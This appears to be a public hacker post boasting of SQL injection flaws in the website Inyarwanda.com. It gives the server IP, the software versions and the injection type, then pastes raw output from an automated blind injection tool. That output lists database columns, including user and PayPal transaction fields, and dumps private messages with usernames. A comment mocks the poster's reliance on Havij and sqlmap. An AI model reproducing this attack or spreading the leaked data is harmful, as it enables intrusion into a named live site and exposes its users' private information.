Multiple vulnerability found on Inyarwanda.com By Rwandan Hackers.there are multiple SQLi vulnerability.
Using the vulnerability an attacker can exploit the entire database and gain illegal access
Vulnerable Website
SQL-i vulnability link:
Server info:
Host IP: 67.18.17.130
Web Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Powered-by: PHP/5.2.17
Keyword Found: turi
Injection type is String (')
DB Server: MsSQL Blind
Injection type is blind!
Length of 'Current DB' is 15
Current DB: masjos_inyarwan
Column found: usertype
Column found: firstname
Column found: lastname
Column found: email
Column found: datejoined
Column found: website
Column found: issuperuser
Column found: photo
Column found: joincode
Count(column_name) of information_schema.columns Where table_schema=0x6D61736A6F735F736F6E676C697374 AND table_name=0x6D657373616765735461626C65 is 6
Column found: time_sent
Column found: messageFrom
Column found: messageTo
Column found: messageObject
Column found: messageContent
Column found: message_id
Count(column_name) of information_schema.columns Where table_schema=0x6D61736A6F735F736F6E676C697374 AND table_name=0x706F6C6C734F7074696F6E73 is 3
Column found: option_name
Column found: poll_id
Column found: total_voters
Count(column_name) of information_schema.columns Where table_schema=0x6D61736A6F735F736F6E676C697374 AND table_name=0x70705F70617965725F656D61696C is 2
Column found: id
Column found: address
Count(column_name) of information_schema.columns Where table_schema=0x6D61736A6F735F736F6E676C697374 AND table_name=0x70705F7472616E73616374696F6E is 4
Column found: id
Column found: transaction_number
Column found: pp_payer_email_id
Column found: user_id
Count(*) of masjos_songlist.messagesTable is 33
Data Found: message_id=15621108
Data Found: messageContent=Hey,masjosirinho , i want to add you as my friend on Inyarwanda , because we can come to know each other better and share music or photos.
Data Found: messageObject=Friendship request
Turning off 'bypass illegal union' and retrying!
Data Found: messageTo=
Data Found: messageFrom=udalia01
Data Found: message_id=209678900
Data Found: messageContent=Hey,kananga , i want to add you as my friend on Inyarwanda , because we can come to know each other better and share music or photos.
Data Found: messageObject=Friendship request
Turning on 'bypass illegal union' and retrying!
Data Found: messageTo=
Data Found: messageFrom=necle05
Data Found: message_id=290330515
Data Found: messageContent=Hey,masjosirinho , i want to add you as my friend on Inyarwanda , because we can come to know each other better and share music or photos.
This is a music production producing Jayels Family songs and videos
Data Found: messageObject=Friendship request
Turning off 'bypass illegal union' and retrying!
Data Found: messageTo=
Data Found: messageFrom=JF SOUNDS INC
Data Found: message_id=301374170
Data Found: messageContent=Hey,kananga , i want to add you as my friend on Inyarwanda , because we can come to know each other better and share music or photos.
Data Found: messageObject=Friendship request
Turning on 'bypass illegal union' and retrying!
Data Found: messageTo=
Data Found: messageFrom=mwarabu
Data Found: message_id=324264294
Data Found: messageContent=Hey,kananga , i want to add you as my friend on Inyarwanda , because we can come to know each other better and share music or photos.
Data Found: messageObject=Friendship request
Turning off 'bypass illegal union' and retrying!
Data Found: messageTo=
Data Found: messageFrom=luckh20
Data Found: message_id=345110140
Data Found: messageContent=Hey,kananga , i want to add you as my friend on Inyarwanda , because we can come to know each other better and share music or photos.
Data Found: messageObject=Friendship request
Turning on 'bypass illegal union' and retrying!
Data Found: messageTo=
Data Found: messageFrom=elise
Data Found: message_id=356466499
Data Found: messageContent=Hey,kananga , i want to add you as my friend on Inyarwanda , because we can come to know each other better and share music or photos.
Data Found: messageObject=Friendship request
Turning off 'bypass illegal union' and retrying!
Data Found: messageTo=
Data Found: messageFrom=serginho
Data Found: message_id=359906520
Data Found: messageContent=Hey,kananga , i want to add you as my friend on Inyarwanda , because we can come to know each other better and share music or photos.
Data Found: messageObject=Friendship request
Turning on 'bypass illegal union' and retrying!
Data Found: messageTo=
Data Found: messageFrom=kamana
Data Found: message_id=367940213
Data Found: messageContent=Hey,masjosirinho , i want to add you as my friend on Inyarwanda , because we can come to know each other better and share music or photos.
Data Found: messageObject=Friendship request
Turning off 'bypass illegal union' and retrying!
Data Found: messageTo=
Data Found: messageFrom=kananga
Data Found: message_id=490640007
Data Found: messageContent=Hey,masjosirinho , i want to add you as my friend on Inyarwanda , because we can come to know each other better and share music or photos.
I like you Script Kid
ReplyDeleteYou really amazing with your
Havij
nmap and
sqlmap